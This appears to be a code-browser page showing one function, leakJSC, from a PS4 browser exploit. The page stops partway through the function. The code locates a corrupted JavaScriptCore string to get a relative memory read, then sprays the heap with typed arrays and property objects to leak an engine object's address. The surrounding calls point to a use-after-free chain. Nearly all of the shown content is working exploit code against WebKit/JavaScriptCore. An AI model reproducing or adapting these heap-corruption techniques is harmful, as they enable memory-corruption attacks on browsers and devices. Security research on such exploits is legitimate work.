MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / leakJSC

Function leakJSC

restore/702/ps4.js:191–289  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

189
190/* Executed after deleteBubbleTree */
191function leakJSC() {
192 debug_log("[+] Looking for the smashed StringImpl...");
193
194 var arr_str = Object.getOwnPropertyNames(g_obj_str);
195
196 /* Looking for the smashed string */
197 for (let i = arr_str.length - 1; i > 0; i--) {
198 if (arr_str[i].length > 0xff) {
199 debug_log("[+] StringImpl corrupted successfully");
200 g_relative_read = arr_str[i];
201 g_obj_str = null;
202 break;
203 }
204 }
205 if (g_relative_read === null)
206 die("[!] Failed to setup a relative read primitive");
207
208 debug_log("[+] Got a relative read");
209
210 var tmp_spray = {};
211 for(var i = 0; i < 100000; i++)
212 tmp_spray['Z'.repeat(8 * 2 * 8 - 5 - LENGTH_STRINGIMPL) + (''+i).padStart(5, '0')] = 0x1337;
213
214 let ab = new ArrayBuffer(LENGTH_ARRAYBUFFER);
215
216 /* Spraying JSView */
217 let tmp = [];
218 for (let i = 0; i < 0x10000; i++) {
219 /* The last allocated are more likely to be allocated after our relative read */
220 if (i >= 0xfc00)
221 g_arr_ab_3.push(new Uint8Array(ab));
222 else
223 tmp.push(new Uint8Array(ab));
224 }
225 tmp = null;
226
227 /*
228 * Force JSC ref on FastMalloc Heap
229 * https://github.com/Cryptogenic/PS4-5.05-Kernel-Exploit/blob/master/expl.js#L151
230 */
231 var props = [];
232 for (var i = 0; i < 0x400; i++) {
233 props.push({ value: 0x42424242 });
234 props.push({ value: g_arr_ab_3[i] });
235 }
236
237 /*
238 * /!\
239 * This part must avoid as much as possible fastMalloc allocation
240 * to avoid re-using the targeted object
241 * /!\
242 */
243 /* Use relative read to find our JSC obj */
244 /* We want a JSView that is allocated after our relative read */
245 while (g_jsview_leak === null) {
246 Object.defineProperties({}, props);
247 for (let i = 0; i < 0x800000; i++) {
248 var v = undefined;

Callers

nothing calls this directly

Calls 5

debug_logFunction · 0.70
dieFunction · 0.70
str2arrayFunction · 0.70
prepareUAFFunction · 0.70
subMethod · 0.45

Tested by

no test coverage detected